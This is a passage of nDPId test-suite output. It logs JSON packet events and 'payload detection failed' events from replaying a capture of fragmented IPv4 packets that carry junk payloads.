+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1723,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219112,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOkAGRHcKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1723,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1724,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219124,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPEAGRHUKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1724,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1725,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219139,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPkAGRHMKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1725,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1726,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219151,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQEAGRHEKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1726,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1727,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219162,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQkAGRG8KAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1727,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1728,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219174,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhREAGRG0KAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1728,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1729,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219217,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhRkAGRGsKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1729,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1730,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219231,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSEAGRGkKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1730,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1731,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219242,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSkAGRGcKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1731,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1732,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219254,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTEAGRGUKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1732,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1733,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219266,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTkAGRGMKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1733,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1734,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219278,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUEAGRGEKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1734,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1735,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219290,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUkAGRF8KAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1735,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1736,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219302,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVEAGRF0KAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1736,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1737,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219314,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVkAGRFsKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1737,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1738,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219326,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWEAGRFkKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1738,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1739,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219340,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWkAGRFcKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1739,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1740,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219352,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXEAGRFUKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1740,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1741,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219364,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXkAGRFMKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1741,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1742,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219376,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYEAGRFEKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1742,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1743,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219387,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYkAGRE8KAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1743,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1744,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219413,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZEAGRE0KAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1744,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1745,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219425,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZkAGREsKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1745,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1746,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219437,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhaEAGREkKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1746,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1747,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219448,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhakAGREcKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1747,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1748,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219460,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbEAGREUKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1748,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1749,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219471,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1749,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1750,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219484,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1750,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1751,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219495,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1751,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1752,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219508,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1752,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1753,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219523,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1753,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1754,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219535,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1754,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1755,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219547,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1755,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1756,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219567,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1756,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1757,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219582,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1757,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1758,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219594,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1758,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1759,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219605,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1759,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1760,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219654,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1760,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1761,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219662,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1761,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1762,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219669,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1762,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1763,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219676,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1763,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1764,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219684,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1764,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 